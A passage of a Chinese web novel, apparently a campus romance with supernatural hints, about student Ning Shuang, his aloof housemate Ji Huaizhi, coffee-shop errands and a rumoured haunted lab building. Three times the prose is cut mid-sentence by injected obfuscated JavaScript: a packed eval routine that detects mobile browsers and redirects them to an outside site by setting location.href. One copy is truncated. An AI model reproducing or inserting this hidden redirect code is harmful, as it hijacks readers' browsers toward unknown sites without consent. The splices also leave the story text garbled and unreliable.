居然打耳钉了? 明明季淮之看起来不像会打耳钉的人。 不过这样的反差感只会让宁双对他更心动罢了。 下课铃声很快就响了,宁双约了沈清晖去咖啡馆,而季淮之要去图书馆,两人并不顺路,他只好和季淮之道别了。 “季淮之,晚上见。”宁双将课桌上的笔记本装进了随身背着的书包里,微微歪头对季淮之说。 季淮之将宁双落在他手边的笔拿起来递了出去,对上宁双含着笑的眼睛,应声:“好。” 宁双接过笔,说了声谢谢。 两人要去的地方并不顺路,所以他们在教学楼楼下就道别了,宁双赶时间,一边挥手一边往另外的方向跑了去。 季淮之看着他的背影,直到那个背影完全消失在了视野里,他才转身离开。 —— 宁双早早就到了咖啡馆,午后阳光怡人,晒在身上特别温暖,宁双坐在靠窗的位置,拿笔将班助申请表填得满满当当,金色的阳光罩在他身上,连发丝都带着柔软。 写完后他才收到沈清晖说他正在赶来路上的消息。 宁双等得无聊,却也没有轻怠,又将写好的申请表上上下下检查了一遍,现在申请表虽然写好了,但宁双心里其实还隐隐有些担心的,毕竟他也听说了,这次商学一班班助的名额有多抢手。 想着想着,就走了神,宁双却在这个时候感觉有一道无名的视线落在了自己身上,他以为是沈清晖来了。 赶紧收好申请表回头看去,咖啡馆很安静,空气中浮着咖啡的苦香,不少学生都选择在这里安静学习,大家各自做着自己的事情,并没有人看宁双。 所以方才察觉的视线大概是宁双的错觉。 他拧了拧眉,困惑地坐了回去。 这次没待多久沈清晖就到了,宁双起身给他打招呼:“会长,下午好啊。” “下午好。”戴银丝边框眼镜的男人轻轻颔首,坐在了宁双对面的座位上。 宁双让服务员将他事先点好的咖啡送了过来,然后亲自将咖啡往前送了一些,客套道:“这是咖啡店的新品,你尝尝。” 沈清晖接过咖啡,说了声谢谢。 却并没有喝,指尖反而轻扣杯壁,陶瓷杯立刻发出清脆的“叮当”声,他看着宁双,笑问:“你找我就为了请我喝新咖啡啊?” 宁双不好意思地挠了挠头:“这也被你看出来了啊……” “其实是有一件事情想和你商量一下的。”宁双抬起手,拇指和食指捏起了一小段距离,“我想问一下新生各个班的班助你已经安排好了吗?” “还没有。”说起这事,沈清晖还觉得头疼呢。 他比宁双大一届,看着要更加成熟一些,整个人看上去温温润润,说话的语调也很轻和。 “你怎么关心起这件事了?”沈清晖反问。 宁双用勺子搅了搅咖啡,糖块和杯壁相撞,发出清脆的声音,他突然挺直了腰,运动衫的领口露出半截小麦色的锁骨。 接着,他从书包里拿出刚刚写好的申请表,双手递了出去:“这是我去担任商学一班班助的申请表。” 宁双明亮的眼睛看着沈清晖,薄唇抿紧,看起来很紧张。 沈清晖抬手把申请表接了过去,低头将上面的内容大致扫了一遍,而后点着头将申请表放在了手边,“可以。” 宁双一愣,他都做好和其他人竞争的准备了,沈清晖却就这么同意了? 沈清晖看着他震惊的表情,兀地发了笑,露出了一排整齐洁白的牙,“我说真的,我同意了。” “可是我听说有很多人都申请担任一班班助。”宁双一脸困惑地说。 沈清晖拿起手边的申请表,轻轻晃了晃,纸张晃动的声音将宁双的视线带到了他手上,“但只有你一个人递了申请表。” 因为历年的惯例就是想去哪个班,和负责人打个招呼就可以了,但这次申请一班班助的人加上宁双有五个人,结果除了宁双,其他四人都没有上交申请书。 不必说沈清晖也知道该答应谁了。 “真的吗?那我运气太好了吧!”宁双权当做是那些人忘记写申请表了。 沈清晖无奈摇摇头,端起咖啡抿了一口,好奇问:“不过,怎么你也争着去商学一班?难道班上有你喜欢的人?” 宁双用一副“你怎么知道的表情”看着沈清晖,连连摆手摇头否认:“不不,不是,我就……嗯,想去而已。” 沈清晖看破不说破,他对宁双的印象很好,是一个有活力,勤快还乐观的人,所以他私心其实更愿意让宁双拥有这个资格。 “好了,咖啡很好喝,但是我要去开会了。”沈清晖站起身,将宁双的申请表也拿在了手里,“晚上学生会有聚餐,你是纪检部副部长,记得去。” “啊?这么突然?我没收到通知啊!”宁双跟着站起了身,却是一脸懵。 沈清晖无奈抿了抿唇,“今天早上八点半,学生会大群。” 宁双赶紧回忆了一番。 可恶!那个点他正和季淮之在外面啊!因为嫌消息通知太吵了太破坏气氛了,他随手就摁了静音,结果好巧不巧把这段聊天记录给漏了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094711|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我没看到。”宁双解释。 沈清晖耸耸肩,并没有要责怪的意思:“现在看到了也行。” 唉,本来还想早点回家和季淮之聊聊天呢。 宁双甩了甩脑袋,把心事甩了出去,“好,还是之前的老地方吗?” “嗯。”沈清晖转身往咖啡厅外面走了去,“我走了,谢谢你的咖啡。” 宁双在他身后挥手:“再见!会长。” 他目送着沈清晖走出了咖啡厅才坐下去。 然后端起咖啡喝了一大口,确实很好喝,难怪这么贵。 宁双两三口就把咖啡喝光了,味道苦得他五官都拧在了一起。 刚把咖啡杯放在桌上,一只蝴蝶的影子突然落在了瓷杯中央,宁双循着影子看向了窗外,看见透明玻璃上一只色彩明艳,翅膀花纹怪异的紫色蝴蝶煽动着翅膀,宁双好奇靠近了窗。 蝴蝶却煽动着它的紫色翅膀飞远了。 宁双笑了两声,身后却突然响起了一道声音:“宁双,你在看什么?” 宁双被这道冷不丁的声音吓得赶紧转过身,兀地和身后的人对视了上。 那双眼眸异常的阴郁冰凉,透着浸骨的寒意。 宁双下意识后退了半步。 “季,季淮之?你怎么在这里?”宁双看清楚眼前的人后,又松了一口气。 现在定睛一打量,才发现是看走了眼,季淮之仍是平时那副淡漠清冷的神情,眼神也没半分不对的地方。 他没想到自己和季淮之会在这里见面,也没想到对方会主动和自己搭话。 “我来买……”季淮之话音顿了一下,才继续说,“来买一杯咖啡。” 宁双赶紧指了下手边的空座,对季淮之说:“我请你喝吧,你先在这里坐会儿。” 他说话快,动作也快,话音刚落人就到柜台前面去了。 季淮之看着宁双让他坐的位置,眼神蓦然暗凝了下来,便抬脚坐去了另一个位置。 宁双很快就端着咖啡回来了,看见季淮之坐在自己旁边的位置上还愣了一下,但他很快就调整好了表情,上前说:“这是我最喜欢的一款咖啡,你尝尝味道,不好喝就再换一杯。” 他说完话也坐到了自己的位置上,和季淮之挨在了一起。 季淮之看着桌上的仅一杯咖啡,偏头问:“你不喝吗?” 宁双摇头:“我刚刚喝过了,现在喝不下了,而且好苦啊,我有些喝不惯这个。” 季淮之把咖啡接了过去。 正如宁双之前说的,季淮之总是一副淡漠疏离的态度,仿佛对什么都提不起兴趣,但季淮之高兴的话,宁双却能一眼看出来他心情不错。 同时,季淮之不高兴的话,宁双也能一眼看出来,比如现在他的心情似乎就一般般。 于是宁双又催促说:“快尝尝咖啡吧,这款真的很好喝。” 季淮之这才端起咖啡,抿了一小口。 “怎么样?”宁双迫不及待想等到季淮之的评价了。 咖啡的苦渍在唇齿间蔓延开,这种味道的饮品季淮之并喝不惯,他眉心轻蹙了一下,随即眉眼舒展,对上宁双期待的眼睛,说:“还好。” 宁双喜欢的,他不会觉得不好。 宁双笑了起来,“是吧,我也觉得这个不错。” 季淮之这才有机会问自己想问的话:“你不是去学生会了吗?” “啊……”宁双犹豫了一下,不知道怎么解释,因为他来这里是为了和沈清晖商量成为商学一班班助,也就是季淮之的班助,他如果实话实说,季淮之说不定一下就能看出了自己的小心思。 但季淮之现在喜不喜欢男人都还是一回事。 对方要是个直男,保不齐还会因为自己连夜搬家。 季淮之端起咖啡,看似在喝咖啡,视线却没从宁双的脸上离开过。 宁双在犹豫,就代表他要找借口糊弄,但是宁双撒谎,他知道。 “嗯……来喝咖啡提提神而已。”宁双说。 撒谎。季淮之在心里毫不留情地戳穿了宁双的谎言。 他垂下睫毛,遮住了眼底复杂深邃的神绪,而后将咖啡放在了桌上,回了一个很简短的字:“好。” 咖啡馆有人进出,带进了微弱的风,季淮之的长发被风撩乱了些,他抬手将散下的发丝别到了耳后。 宁双盯着他看,出神了几秒,随后赶紧低咳一声,“那你先喝吧,我去忙了啊,晚上见。” 他起身将身后椅子上的书包挎在了肩上。 季淮之抬眼看他,唇角翘起:“晚上见。” 宁双离开了咖啡馆,季淮之摩挲着咖啡杯壁,偏头透过玻璃窗看出去,宁双似乎是又遇见了熟人,两人交谈了两句就并着肩走远了。 他又抿了一口咖啡,好苦。 7. 晚饭 学生会的聚餐无非就是那么个流程。 先是学生会会长说些激励的话,然后又是各个部的部长上去发表讲话,说会努力做好自己的工作,等流程走得差不多了就开始吃晚饭。 宁双平日里喜欢这些热闹,但今天兴致却不大。 看他全程闷着个脑袋吃饭,身边的赵微凉用胳膊碰了碰他,“你怎么也不说两句话?这么沉默不像你啊。” 宁双半边腮鼓起,嘴里塞着酥肉,抬起头去看赵微凉,“我吃饭啊,吃完我得回家了。” 比起在这里和老熟人们聊天,还是回家和季淮之培养培养感情更合适。 呃……虽然目前是单方面培养感情吧。 “不是,你别回去啊,我们这几个人里面就你胆子最大了。”听到宁双说吃完饭回家,同一桌的好友万奇赶紧出声。 宁双叼在嘴边的酥肉掉落在了碗里,他看向对坐的万奇,“咋了……” “一看我们刚刚说话你就没听。”右二一个高马尾女生埋怨了宁双一句。 赵微凉楼过宁双的肩膀,简单帮宁双把刚刚他们的谈话复述了一遍。 “早上我给你看的帖子,你还有印象吧?” 宁双昂了一声,继续夹菜往嘴里塞,赵微凉就说:“我们寻思着无风不起浪,谣言不能凭空出现,所以我们打算今晚去探个究竟,你去吗?” 宁双对这种探险没什么兴趣,这个世界是不可能存在什么鬼神之说的,一般都是人心作祟,比起去探索这种虚无缥缈的东西,宁双还是更想快点回家。 “我不去。”宁双没有犹豫就拒绝了他们的邀请。 “为什么啊?这么刺激呢!”万奇情绪又激动了。 宁双不解:“不是还有这么多人要去吗?我不去也没什么吧?” 另一个寸头男生李晟然笑着调侃:“他是害怕,看你阳气重就想带你一起呢!” 被人当众戳穿心思,万奇脸上明显挂不住,他立马义正词严地反驳:“才不是!就算今天宁双不去,我也敢去的!” 在座的人都笑了起来。 那个地方目前虽然被封起来了,但真有人要去,也拦不住人,何况他们今晚是好几个人去那里,就算有人躲在里面装神弄鬼,还能正好把对方抓个现行。 宁双想了想,还是没说自己要去的话。 他不去,他们自然不会强求,赵微凉说:“今晚你可别睡太早了,等我给你拍照片看。” 宁双点头:“我尽量。” 他作息其实挺规律的,陆宇洋不来他家睡觉的话,他一般十点半开始睡觉,早上六点半起床晨跑。 饭吃到一半,口袋里手机突然震了一下,一条消息弹出了屏幕,是季淮之发来的! 【季淮之:你大概什么时候回家?】 看到消息的瞬间,宁双眼睛都瞪大了,他赶紧回消息说:【学生会聚餐,大概要十一点多了……】 季淮之看着脚边围着自己转的宁敦敦,伸手摸了摸它的脑袋,金色的毛发在他指缝穿梭过,衬得他指节更加苍白纤长了。 宁敦敦,你的主人不想家呢。 他低着头,长发顺着垂下来,让他整张脸被罩在了阴影里,阴郁又冷漠。 随后他把放在桌边的玻璃杯拿起来,将里面的纯净水缓缓倒进宁敦敦的水碗里。 等水碗满了后,他才收手回消息:【宁敦敦好像不太舒服,我回来发现它连碗里的水都没喝多少】 宁双一看见宁敦敦不舒服这几个字眼就急了,【怎么回事啊?可以拍照片给我看看它的状态吗?我现在赶回来!】 宁双现在哪儿还有心情吃饭,和同桌吃饭的人打了声招呼就拿着外套离开了。 看到消息,季淮之看了宁敦敦一眼,薄唇掀动:“躺下。” 宁敦敦耳朵和尾巴一下就耷拉了下来,非常听话地趴在了地上,季淮之拍了张照片出去,慢慢打字:【回来后就一直这样】 【宁双:我现在打上车了,等我回来看看吧】 他们在校外的一个饭店里面吃饭,这顿饭吃到了晚上九点多,宁双出来后直接打车回家。 路上堵了一会儿,宁双到家就是九点四十几了。 他站在门口,瞧见屋里一片昏暗,外边风声又像厉鬼低吟,宁双打了一个冷颤,搓了搓胳膊,赶紧开门进了屋。 他甚至还没来得及把门关好,一个力大无穷的毛茸茸就冲过来扑在了他身上。 “宁敦敦……你不是不舒服吗?”宁双打开了玄关的暗灯,昏黄的灯光从头顶照下来,宁双整个人都被暖金色的灯光罩住了,他弯下腰去摸敦敦的脑袋。 宁敦敦吐着舌头,精神力亢奋得很,一点也看不出来是精神不好的样子,“呜汪!” 宁双满心狐疑地换下鞋子,顺手打开了客厅的暖光灯,走出玄关往沙发边一扫,沙发上一个孤寂的身影吓得宁双差点叫出了声。 他扶着鞋柜后退了半步,心跳似鼓鸣,力度大到快要穿破这层皮肉跳出来了。 “季淮之?”宁双试探着喊出了对方的名字。 屋里太冷了,眼下天气正热,就算是晚上也不至于冷到这种地步。 背对着沙发的人转过头看向了宁双。 那双暗眸划过了一丝浅色的紫光,眸色幽深,目光冰凉,他穿着普通的休闲衣,长发散在了肩侧,额发垂下,盖住了他的一半眉眼。 “抱歉,吓到你了吗?”看见宁双后退半步的动作,季淮之便站起身面向了宁双问。 吓是吓到了,但偏巧宁双很经吓,何况季淮之也不是故意的,所以宁双摇头:“没有没有,是我自己胆子小。” 他说着话,伸手将整个客厅的灯都打开了,暖色光调被白炽光覆盖,所有一切在宁双眼底都清明起来了。 季淮之看着宁双脚边热情的宁敦敦,赶在他疑惑之前开口解释:“刚刚它一直在睡觉。” “你开门的时候它就跑过来了。”意思是他也不清楚宁敦敦为什么现在又好了。 宁双听完就蹲了下去,抓着宁敦敦两边的脸腮,“你咋回事?真生病还是假生病?” 季淮之看着宁双,唇角微扬了几分,随后他又绷直了唇线,用平静的声音说:“也许它是想你吧。” “是吗?”宁双有些愧疚了,他这段时间总是大半天大半天的不在家,宁敦敦又是一只精力旺盛的小狗,保不齐就是因为太想自己才那个样子的。 “对不起宁敦敦,以后我一定早点回家。”宁双哄着宁敦敦,拉着它走到了季淮之身边。 “谢谢你关心敦敦,我平时也不这么晚回家的,今天是因为社团聚会,我没办法早点回家,还好你回家帮我照看了一下它。”此刻,季淮之在宁双这里的魅力更是提高了一个度。 季淮之:“不用谢。” 看见宁敦敦喝水的碗里还是满的,他又捧着宁敦敦的脸,认真教导说:“我是不是说过每天都要把水喝完?你忘记之前医生的话了吗?” 宁敦敦“呜汪”了几声,宁双就抬手轻轻扇了它一下,故作生气:“你到底把我的话听进去了吗?” 丝毫没注意宁墩墩脸上的委屈。 季淮之坐在沙发另一边,看见宁双抓着宁敦敦的脸,皱紧眉头假装生气的模样,不由抿起了笑唇。 宁双吸了吸鼻子,这才察觉空气莫名浮着一种似古木,似香草的甜腻味道,味道不浓郁,但也不易让人忽视。 或许是他们不小心从外面带回来的吧,宁双还是没多想,他守着宁敦敦喝了半碗水以后才回头问季淮之,“季淮之,你吃晚饭了吗?” 现在这个点,一般人应该都吃了。 宁双问是什么意思? 季淮之思考这些只用了一秒,随即他看向宁双,面不改色地撒谎说:“还没有。” “那太好了,我晚饭也没吃饱,我现在去煮面,你也一起吃点吧。”宁双起身询问季淮之的意见。 季淮之:“谢谢,有需要我帮忙的吗?” 宁双起身往厨房走去,顺手将挂在墙上的围裙拿下来系在了身上,“暂时没有,我煮西红柿鸡蛋面,你有什么忌口吗?” “没有。”宁双虽然对季淮之说了没有需要帮忙的地方,但他还是走去厨房和季淮之站在了一起。 “那就好。”季淮之没有忌口的话,那这顿饭就更容易做了,转头看见季淮之在洗番茄,宁双赶紧开口:“我来就行了,你去歇着吧,毕竟你还帮我照看了这么久的宁敦敦。” 他从季淮之手里接过了番茄,两人指尖贴在了一起,宁双手被冰往后缩了一下,此刻水龙头里面淌出来的水都赶不上季淮之手的冰凉程度。 季淮之把手拿了回去,稍微一低头就可以看见宁双后颈的胎记,他眸色暗了几分,往后退开给宁双腾出了洗菜空间。 宁双边洗菜边问:“季淮之,你很冷吗?” 昨天晚上不小心碰到了季淮之的手,也是像这样冰得甚至有些不正常。 “不冷,为什么这么问?”季淮之似乎还没意识到,自己的体温并不符合宁双认知里正常人的体温。 宁双抿了抿唇,皱着眉回头看他,说:“我感觉你手有些冰,以为你冷。” “我一直这样。”季淮之身侧的手微微一蜷,随口解释说。 有些人的体温是要低于常人一些,宁双稍加思忖一下也就不觉得稀奇了,“那你夏天是不是不怕热啊?” 季淮之想了一下:“还好。” 宁双说:“我就不行,我特别怕热,可能是因为我老家一年四季都很凉爽吧,所以在这里反而不适应了。” 季淮之听出了他语气间的几分怀恋,但宁双又接着说:“不过这里也很好,一年四季,季季分明,这里冬天会下大雪,你知道吗?” “不清楚。”季淮之实话实说,毕竟这是他第一次来到这个城市。 宁双将洗净的番茄捞起来,放在菜板上切成了块。 “也是,你今年才大一,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么?”知道宁双一直在盯着自己看,季淮之并没有戳穿,也是宁双喊了自己,季淮之才抬起头去看宁双。 宁双手比划着,好奇:“你为什么会留长头发啊?可能是我刻板印象了,我觉得留长发的大多都是搞艺术的。” 初见的时候,宁双还以为季淮之是学美术或者音乐的呢! 季淮之偏头,瞥下眼看着自己的长发,随后陷入到了某种回忆里,过了一会儿才说:“有人说我留长发可能很好看。” 宁双眨眨眼,脸色没什么变化,心却早就碎成了一片片的。 不能是喜欢的人吧? 宁双开始头脑风暴,可惜他也没勇气接着问下去了,干脆顺着季淮之的话往下说:“确实很好看,也很适合你。” 季淮之洗碗的手一顿,额发挡住的眸珠染上了几分悦意。 洗完碗两人就各自回了房间,宁双这才有时间去看手机。 这个点他们所谓的探险小队已经组建好,并且打算去到实验大楼了。 宁双看着赵微凉发来的视频,拍的大楼前面的景象,黑漆漆的一片,月光倾泻,罩在那栋破旧的大楼上,有一种莫名的诡谲感,几个人打着手电筒往大楼里面走。 “宁双,要是我真的看见了什么守护神,你说我许什么愿望好呢?”赵微凉发来语音。 宁双根本不相信他们能看到什么鬼鬼神神,但还是配合赵微凉,给他出主意说:“你许愿暴富吧,回头我们几个就仰仗你了。” “嘿,不行,不是说不能许和金钱有关的愿望吗?”赵微凉说。 【宁双:那你就许愿你这学期脱单】 【赵微凉:可以,很可以,就这个】 这架势,倒真像能遇到什么守护神似的。 宁双对这些没什么兴趣,手机一关就进浴室去洗澡了。 等他脱光了衣服,却兀地听到窗边传来咕咕的鸟叫声,他上前去将窗户打开,发现外面站着一只毛色纯白的小鸟,小鸟毛发顺滑,白得甚至有一种流光溢彩的错觉了,小鸟也不怕生,就算宁双靠近了自己,它也没有要飞走的意思。 “受伤了吗……”宁双伸手将它抱到了手掌心,歪着脑袋打量了半天,并没有看到什么伤口,没受伤,那就是饿了? 一股很淡的幽香从它身上散发出来,宁双凑近闻了闻,惊奇道:“有人养你啊?你好香。” 他小心将小鸟放回了窗边,“等着,我去给你拿吃的。” 他走去门边将挂在门后的浴袍拿起来套在身上,然后走出浴室去楼下装了一点小米在瓶盖里。 等他再回浴室,窗边已经没有小鸟的影子了,他把脑袋探出去左右望了望,只看见了右边季淮之房间的灯还亮着,而窗户也大开着。 想了想,宁双还是走出去敲响了季淮之房间的门。 过了大概半分钟,季淮之才来开门。 “季淮之。”宁双说,“你房间有没有飞进来一只小鸟呀?” 等说完话,宁双才注意到季淮之脸色有些不对,耳尖也透着浅粉色,这会儿很热吗? 8.蛊虫 “没有。”季淮之回答说。 声音倒是一如既往地冷沉。 “哦哦,那没事了,我刚刚看到一只小鸟,好像是家养的,我正打算洗澡呢,然后就发现它在窗台上,等我下去给它拿完吃的上来,它又不见了。”宁双解释说。 季淮之语气轻缓了一些:“也许是飞回家了。” “可能吧。”宁双没有多想,“不好意思,打扰你了,你早点休息吧,睡觉的时候记得把门窗锁好,万一有虫子飞进来就不好了。” 他挥了挥手,又重新回到了浴室。 季淮之看他关上了浴室门才回到房间里。 然后冷脸去看躲在窗帘后面的一只小鸟,小鸟缩了缩脖子,发出轻微的“咕咕”声。 “蠢。”他掀开薄唇,冷不丁地吐了一个字出来,眼底闪过一丝带着警告的幽紫色暗光。 只是让它看着宁双,它却擅作主张跑到了宁双跟前去,甚至是在对方洗澡的时候,自己看入迷了,跑回来和他说宁双身材有多好,所以骂它蠢都算轻的了①。 小鸟这下连“咕咕”声都不敢发出来了。 —— 朝霞褪却,天空翻成了鱼肚白,薄雾被夕阳染了色,像一层薄薄的、金色的纱,晨露从叶尖淌下,拉出了一条细长的透明丝线,晨跑结束,宁双牵着宁敦敦从公园往家里走。 嗡嗡。 口袋里手机响起了消息提示音,宁双拿起来发现是赵微凉发来的消息。 【赵微凉:你下午第三节有课吗?】 【宁双:没课,怎么了?】 【赵微凉:我下午那节选修课,你能去替我不?】 宁双和赵微凉不是一个班的,两人有时候会找彼此帮忙替课,宁双也习惯了,但还是随口问了一句:【你有什么事吗?】 【赵微凉:感冒,可能昨晚吹了夜风,我现在头昏脑涨的】 宁双愣了一下,打字问:【吹感冒了?买药了吗?】 赵微凉发来了语音:“买药了,我得先睡会儿,现在眼皮都张不开了……” 宁双从他的语音听出来了,赵微凉估计病得不轻,声音嘶哑得像是一周没喝过水了的样子。 宁双:“那你把课表发我,我去替你上了。” 这条消息发出去后,大概过了十多分钟,宁双回家换完衣服,坐上去学校的车了才收到赵微凉发来的课程表。 他简单扫了一眼,也没把这件插曲放在心里。 早上宁双晨跑回去后,季淮之已经不在家了,家里空荡荡的,客厅也莫名凉飕飕的,宁双换完衣服,把宁敦敦的饭和水装好后也出发去学校了。 前两天新生的军训服已经被清点好了,宁双到学校后去和商学一班的辅导员打了个照面,然后进了一班班群。 今天是周五,学校要求军训服全部发下给新生,因为下周一新生就要军训了。 所以宁双先是在班群里简单介绍了一下自己的身份,然后就提醒他们下午需要去宿舍楼下领军训服。 分发军训服是下午的事了,宁双下午第一节课要去帮赵微凉替课,所以只能现在去杂物楼把他们班的军训服全部领出来了。 清晨的那股凉爽劲还在,空气中浮着湿露,宁双从教学楼往八号楼赶去,到了会途径废弃实验大楼的岔路口时,才发觉挡在小路入口的警示带已经被取下来了。 宁双愣了一下,心道昨晚他们几个去探险的人这么大胆吗?警示带都给学校扯了? 不过这块儿因为偏僻,并没有装监控,真有人把警示带取下来了,学校也抓不到什么人。 何况本来就是莫须有的谣言,学校因为这事把这里封起来了,不知道会惹多少赶早八的学生抱怨呢? 不过警示带既然没了,那宁双就可以心安理得抄近路了。 他想都没想,长腿一跨就选择了钻小路。 树叶被风吹得沙沙作响,河边流水静静地淌着,丛林间有鸟叫和虫鸣,几种声音交织在一起,竟意外让人觉得瘆得慌。 但宁双胆子一向大,他并不觉得有什么好怕的,反而加快脚步往废弃实验大楼前面跑了去。 路口有很多脚印,还多了一些新鲜的垃圾,估计是昨晚他们留下的。 宁双目光顺着脚步看出去,目光一顿,他在那片空地中央,看见了一个穿着白衬衫,黑长裤的长发男生。 只看背影和气质,宁双一秒就猜出了对面是谁,但出于谨慎,宁双还是没有叫出对方的名字,“同学?” 季淮之转过了身。 “还真是你呀,我还担心我认错人了呢!你怎么在这里呀!我记得你早上有课呀。”宁双走上了前。 脚下的枯枝败叶被踩得“咔嚓”响。 “路过。”季淮之面不改色地撒了谎,“早上那节课不上了。” “又不上了?”宁双记得季淮之昨天上午那节课也停课了,转念一想,这刚开学,有一些老师课表和行程冲突,稍微调一下课也是有可能的。 “嗯。”季淮之将长发拢在耳后,“刚刚路过这里,感觉很好看。” 宁双看着他,目光落在了他耳边,“季淮之,你这里有树叶。” 宁双指了指季淮之的头发,季淮之神色一愕,刚要抬手,宁双却已经伸手去将挂在他发梢的落叶拿了下来,然后摊开手给季淮之看,笑着说:“你在这里站了多久呀,有东西落在头上了都不知道。” “谢谢。”季淮之伸手将宁双手心的落叶拿走了,两只手相触,宁双只觉得季淮之的手比前两天的还要冰一些。 “不用谢。”宁双将手背负在身后,偏头看向了身边的破旧大楼,这里空气中浮着一种腐臭的味道,还有火烧后留下的化学物质味,总之不是很好闻。 其中还掺杂中一种很怪异的清香,宁双吸了吸鼻子,心脏莫名有些发慌,像是蛊…… 面前的大楼矗立在一片荒芜之中,孤零零的,墙面出现了很多裂缝,杂草从裂缝中钻出来,青苔东一块西一块分布在易被雨水冲淋到的地方。 一抹寒气从房子里面冒出来。 宁双打了一个喷嚏,他很不喜欢这里。 “季淮之,我们走吧,这里好冷,你的手也好冰啊。”宁双说。 他话音刚落,正好吹起了风,周边树叶被吹得哗哗地响,季淮之的衬衫被吹得鼓动,长发撩起,肆意舞着,宁双一时有些晃眼。 “好。”季淮之轻轻颔首,转过身就和宁双并肩站在了一起。 两人一起往外面走去,宁双突然好奇:“对了,你怎么不住在校内呢?在外租房子的话,也要不少房租呢!” 季淮之语气平静:“我喜欢安静。” 嗯,倒也是,季淮之看起来就是一个不喜欢凑热闹的安静人士。 “确实,住校的话,要和室友相处啊,而且就算室友安静吧,其他寝室的未必安静。”宁双点点头,又说:“你晚上大概几点睡觉呢?我尽量在那之后就不弄出声音了。” 其实宁双睡觉也算早的了,但说不定季淮之会更早。 “你没关系。” “嗯?”突然一句意味不明的话,宁双还没反应过来。 空气安静了几秒。 宁双似乎听见了一声极其轻微的无奈叹息,接着,季淮之说:“家里的隔音很好,而且你弄出的声音不大,所以没关系。” “真的呀,那就好。”宁双又歪着头对季淮之笑了起来,一对尖锐的虎牙显得宁双有些可爱。 宁双:“对了,嗯……” 他突然想起自己现在已经是季淮之他们班班助的这件事了,“你有看你们班群吗?” 季淮之:“怎么了?” 宁双:“就是学校在新生军训期间安排了学生会的人去当新生班助,带新生了解一下学校呀,还有军训陪训什么的,我也是今天才知道,我居然是你们班的班助。” “早上我进了你们班群,刚刚我发了通知,下午你们要去宿舍楼楼下领取军训服,你有看见消息吗?”宁双小心翼翼问。 季淮之:“抱歉,我没有注意到消息。” 宁双赶紧摆手,“没关系没关系,刚发才一会儿嘛,你要是没时间过来拿军训服,下午我可以把你的带回去,反正我们住在一起的,是吧?” “好,谢谢你,我会准时到宿舍楼下来的。”反正也是在学校,去宿舍楼领一下军训服不会耽误他太长时间的。 宁双要去八号楼领取军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098864|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训服,季淮之要去图书馆,他们并不同路,所以两人从竹林小道出来后就各自道别分开了。 宁双拿着学生信息名册把商学一班所有人的军训服清点了一遍,发现季淮之竟然是班上最高的一个人。 一九二的身高,比自己要高三厘米。 像季淮之这样身高的人,在学校难找出几个,再像他那样好看的人,更是难找了。 难怪陆宇洋调侃自己眼光还挺高的。 军训服存放好后,宁双也得回去上课了。 这节是专业课,宁双赶到教室的时候,陆宇洋照旧帮他占好了座,宁双猫着腰坐去了他身边。 “哟,大忙人,我以为你这节课不来了呢。”陆宇洋调侃了宁双一句。 宁双压低声音回:“算出勤的,爬也要爬来。” 陆宇洋笑了几声。 这节课上了大半后,老师就让他们上自习做题了。 陆宇洋把笔往桌上一扔,整个人后仰靠在了座椅靠背上,他两条腿伸长,手枕在了脑后,一副打算睡一觉的架势。 宁双用手肘碰了碰他,“现在还在上课呢!” “我困。”陆宇洋有些不满。 看着他眼底下的乌青,宁双忍不住好奇:“你昨晚又熬夜打游戏了吗?” “没啊,睡不够而已。”陆宇洋说完,突然坐正了身子,靠近了宁双说,“我突然想起个事。” “昨晚有人给我发了几个小视频。”陆宇洋一副鬼鬼祟祟的模样,让宁双觉得那几个视频并不是什么正经的视频。 “你干什么?这可是上课!”宁双义正词严地拒绝着陆宇洋。 陆宇洋:“你想啥呢!有那好东西我还给你看?” 宁双有些无语,“什么视频啊?” 陆宇洋将朋友发给他的几个视频翻给了宁双看,“咱学校后面的那个废弃实验大楼,你还有印象不?” “有啊,上学期不还闹鬼吗?”那种谣言简直就是有人在装神弄鬼。 陆宇洋:“不是闹鬼,是真有什么守护神,昨天你们学生会不是聚餐吗?我认识朋友喊我去一起看个究竟,我寻思着我没什么愿望要许,就没去。” “这是他们发给我的视频。”陆宇洋把耳机递给了宁双,等宁双戴好了以后他才点开视频。 视频里,很明显他们走进到了大楼里面,到处都是废弃的玻璃仪器,墙面被火熏得黑黢黢的,走在最前面的人踩上了上楼的台阶,留下了蓝色会发光的脚印。 这些脚印忽明忽暗,把黑暗的地方映得泛着诡异的蓝光。 “你看,多神奇。”陆宇洋说。 宁双拿着手机,一时有些入迷,看得正仔细,录视频的人手机突然被碰掉,手机里传出尖叫的声音,视频也戛然而止。 宁双被吓得手机都扔了出去,弄出了巨大的动静。 陆宇洋赶紧埋下脑袋,远离了宁双。 前面讲台上的教授推了推眼镜,看清弄出动静的人以后,语重心长道:“宁双同学,怎么又是你?上课不要弄出影响同学们上课的动静,知道了吗?” 宁双赶紧站起身,弯腰道歉:“抱歉教授,我不是故意的。” 教授摆摆手,对宁双这个三好学生多的是宽容,“好了,你坐下吧,和你同桌稍微安静点。” 